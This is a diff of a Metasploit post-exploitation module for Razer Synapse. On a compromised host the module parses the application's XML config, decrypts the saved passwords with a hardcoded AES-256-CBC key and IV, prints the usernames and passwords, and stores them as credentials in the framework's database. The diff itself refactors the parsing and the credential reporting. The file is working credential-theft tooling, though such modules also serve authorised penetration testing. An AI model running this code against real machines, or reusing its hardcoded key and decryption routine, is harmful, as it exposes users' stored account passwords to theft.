@@ -38,59 +38,74 @@ def initialize(info={})
38
38
) )
39
39
end
40
40
41
+ def is_base64? ( str )
42
+ str . match ( /^([A-Za-z0-9+\/ ]{4})*([A-Za-z0-9+\/ ]{4}|[A-Za-z0-9+\/ ]{3}=|[A-Za-z0-9+\/ ]{2}==)$/ ) ? true : false
43
+ end
44
+
41
45
# decrypt password
42
- def decrypt ( hash )
46
+ def decrypt ( pass )
47
+ pass = Rex ::Text . decode_base64 ( pass ) if is_base64? ( pass )
43
48
cipher = OpenSSL ::Cipher ::Cipher . new 'aes-256-cbc'
44
49
cipher . decrypt
45
50
cipher . key = "hcxilkqbbhczfeultgbskdmaunivmfuo"
46
51
cipher . iv = "ryojvlzmdalyglrj"
47
52
48
- hash . each_pair { |user , pass |
49
- pass = pass . unpack ( "m" ) [ 0 ]
53
+ pass = pass . unpack ( "m" ) [ 0 ]
54
+ password = cipher . update pass
55
+ password << cipher . final
50
56
51
- password = cipher . update pass
52
- password << cipher . final rescue return nil
57
+ password
58
+ end
53
59
54
- store_creds ( user , password . split ( "||" ) [ 1 ] )
55
- print_good ( "Found credentials" )
56
- print_good ( "\t User: #{ user } " )
57
- print_good ( "\t Password: #{ password . split ( "||" ) [ 1 ] } " )
60
+ def report_cred ( opts )
61
+ service_data = {
62
+ address : opts [ :ip ] ,
63
+ port : opts [ :port ] ,
64
+ service_name : opts [ :service_name ] ,
65
+ protocol : 'tcp' ,
66
+ workspace_id : myworkspace_id
58
67
}
59
- end
60
68
61
- def store_creds ( user , pass )
62
- if db
63
- report_auth_info (
64
- :host => Rex ::Socket . resolv_to_dotted ( "www.razerzone.com" ) ,
65
- :port => 443 ,
66
- :ptype => 'password' ,
67
- :sname => 'razer_synapse' ,
68
- :user => user ,
69
- :pass => pass ,
70
- :duplicate_ok => true ,
71
- :active => true
72
- )
73
- vprint_status ( "Loot stored in the db" )
74
- end
69
+ credential_data = {
70
+ post_reference_name : self . refname ,
71
+ session_id : session_db_id ,
72
+ origin_type : :session ,
73
+ private_data : opts [ :password ] ,
74
+ private_type : :password ,
75
+ username : opts [ :user ]
76
+ } . merge ( service_data )
77
+
78
+ login_data = {
79
+ core : create_credential ( credential_data ) ,
80
+ status : Metasploit ::Model ::Login ::Status ::UNTRIED ,
81
+ } . merge ( service_data )
82
+
83
+ create_credential_login ( login_data )
75
84
end
76
85
77
86
# Loop throuhg config, grab user and pass
78
- def parse_config ( config )
79
- if not config =~ /<Version> \d < \/ Version>/
80
- creds = { }
81
- cred_group = config . split ( "</SavedCredentials>" )
82
- cred_group . each { | cred |
83
- user = /<Username>([^<]+)< \/ Username>/ . match ( cred )
84
- pass = /<Password>([^<]+)< \/ Password>/ . match ( cred )
85
- if user and pass
86
- creds [ user [ 1 ] ] = pass [ 1 ]
87
- end
88
- }
89
- return creds
90
- else
91
- print_error ( "Module only works against configs from version < 1.7.15" )
92
- return nil
87
+ def get_creds ( config )
88
+ creds = { }
89
+
90
+ return nil if ! config . include? ( '<Version>' )
91
+
92
+ xml = :: Nokogiri :: XML ( config )
93
+ xml . xpath ( '//SavedCredentials' ) . each do | node |
94
+ user = node . xpath ( 'Username' ) . text
95
+ pass = node . xpath ( 'Password' ) . text
96
+ begin
97
+ pass = decrypt ( pass )
98
+ rescue OpenSSL :: Cipher :: CipherError
99
+ # Eh, ok. We tried.
100
+ end
101
+ creds [ user ] = pass
93
102
end
103
+
104
+ creds
105
+ end
106
+
107
+ def razerzone_ip
108
+ @razerzone_ip ||= Rex ::Socket . resolv_to_dotted ( "www.razerzone.com" )
94
109
end
95
110
96
111
# main control method
@@ -104,11 +119,18 @@ def run
104
119
contents = read_file ( accounts )
105
120
106
121
# read the contents of file
107
- creds = parse_config ( contents )
108
- if creds
109
- decrypt ( creds )
110
- else
111
- print_error ( "Could not read config or empty for #{ user [ 'UserName' ] } " )
122
+ creds = get_creds ( contents )
123
+ unless creds . empty?
124
+ creds . each_pair do |user , pass |
125
+ print_good ( "Found cred: #{ user } :#{ pass } " )
126
+ report_cred (
127
+ ip : razerzone_ip ,
128
+ port : 443 ,
129
+ service_name : 'http' ,
130
+ user : user ,
131
+ password : pass
132
+ )
133
+ end
112
134
end
113
135
end
114
136
end
0 commit comments